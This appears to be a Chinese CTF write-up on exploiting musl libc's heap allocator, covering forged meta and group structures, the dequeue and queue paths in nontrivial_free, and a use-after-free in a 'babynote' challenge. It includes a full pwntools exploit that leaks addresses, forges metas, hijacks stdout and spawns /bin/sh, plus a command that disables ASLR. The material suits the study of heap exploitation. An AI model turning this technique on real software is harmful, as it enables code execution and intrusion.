(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)
这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):
重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)
上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):
发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):
只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:
这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块
(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页
(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。
(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]
伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)
musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0
注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。
name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)
读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:
也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)
(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)
后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from
platform
import
libc_ver
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
io
=
lambda
: r.interactive()
sl
=
lambda
a : r.sendline(a)
sla
=
lambda
a,b : r.sendlineafter(a,b)
se
=
lambda
a : r.send(a)
sa
=
lambda
a,b : r.sendafter(a,b)
lg
=
lambda
name,data : log.success(name
+
":"
+
hex
(data))
def
z():
gdb.attach(r)
def
cho(num):
sla(
"option: "
,
str
(num))
def
add(namesz,name,notesz,note):
cho(
1
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
sla(
"note size: "
,
str
(notesz))
sa(
"note content: "
,note)
def
find(namesz,name):
cho(
2
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
def
delet(namesz,name):
cho(
3
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
def
remake():
cho(
4
)
def
exp():
global
r
global
libc
r
=
process(
"./babynote"
)
libc
=
ELF(
'./libc.so'
)
add(
0x38
,
"a"
*
0x38
,
0x38
,
"a"
*
0x38
)
cho(
4
)
for
_
in
range
(
8
):
find(
0x28
,
"a"
*
0x28
)
add(
0x38
,
"2"
*
0x38
,
0x28
,
"2"
*
0x28
)
add(
0x38
,
"3"
*
0x38
,
0x38
,
"3"
*
0x38
)
delet(
0x38
,
"2"
*
0x38
)
for
_
in
range
(
6
):
find(
0x28
,
"a"
*
0x28
)
add(
0x38
,
"4"
*
0x38
,
0x58
,
"4"
*
0x58
)
find(
0x38
,
"2"
*
0x38
)
r.recvuntil(
"0x28:"
)
libcbase
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
-
0xb7d60
elfbase
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
-
0x4c40
log.success(
"libcbase:"
+
hex
(libcbase))
log.success(
"elfbase:"
+
hex
(elfbase))
malloc_context
=
libcbase
+
0xb4ac0
mmap_base
=
libcbase
-
0xa000
fake_meta_addr
=
mmap_base
+
0x2010
fake_mem_addr
=
mmap_base
+
0x2040
stdout
=
libcbase
+
0xb4280
for
_
in
range
(
6
):
find(
0x28
,
"a"
*
0x28
)
pd
=
p64(elfbase
+
0x4fc0
)
+
p64(malloc_context)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
find(
0x28
,pd)
find(
0x38
,
"a"
*
0x38
)
r.recvuntil(
"0x28:"
)
secret
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
lg(
"secret"
,secret)
add(
0x28
,
"5"
*
0x28
,
0x1200
,
'\n'
)
last_idx, freeable, sc, maplen
=
0
,
1
,
8
,
1
fake_meta
=
p64(stdout
-
0x18
)
fake_meta
+
=
p64(fake_meta_addr
+
0x30
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
fake_mem
=
p64(fake_meta_addr)
fake_mem
+
=
p32(
1
)
+
p32(
0
)
payload
=
b
'a'
*
0xaa0
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
fake_mem
+
'\n'
find(
0x1200
,payload)
for
_
in
range
(
3
):
find(
0x28
,
"a"
*
0x28
)
pd
=
p64(elfbase
+
0x4fc0
)
+
p64(fake_mem_addr
+
0x10
)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
add(
0x38
,
"6"
*
0x38
,
0x28
,pd)
delet(
0x38
,
"a"
*
0x38
)
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
fake_meta
=
p64(
0
)
fake_meta
+
=
p64(
0
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
fake_mem
=
p64(fake_meta_addr)
fake_mem
+
=
p32(
1
)
+
p32(
0
)
payload
=
b
'a'
*
0xa90
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
fake_mem
+
b
'\n'
find(
0x1200
, payload)
for
_
in
range
(
2
):
find(
0x28
,
'a'
*
0x28
)
pd
=
p64(elfbase
+
0x5fc0
)
+
p64(fake_mem_addr
+
0x10
)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
add(
0x38
,
"7"
*
0x38
,
0x28
,pd)
delet(
0x38
,
"a"
*
0x38
)
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
fake_meta
=
p64(fake_meta_addr)
fake_meta
+
=
p64(fake_meta_addr)
fake_meta
+
=
p64(stdout
-
0x10
)
fake_meta
+
=
p32(
1
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
b
'a'
*
0x18
fake_meta
+
=
p64(stdout
-
0x10
)
payload
=
b
'a'
*
0xa80
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
b
'\n'
find(
0x1200
, payload)
cho(
1
)
sla(
'name size: '
,
str
(
0x28
))
sa(
'name: '
,
'\n'
)
sla(
'note size: '
,
str
(
0x80
))
fake_IO
=
b
'/bin/sh\x00'
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(libcbase
+
0x5c9a0
)
fake_IO
+
=
p64(
1
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(libcbase
+
libc.sym[
'system'
])
sl(fake_IO)
io()
if
__name__
=
=
'__main__'
:
exp()
dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读~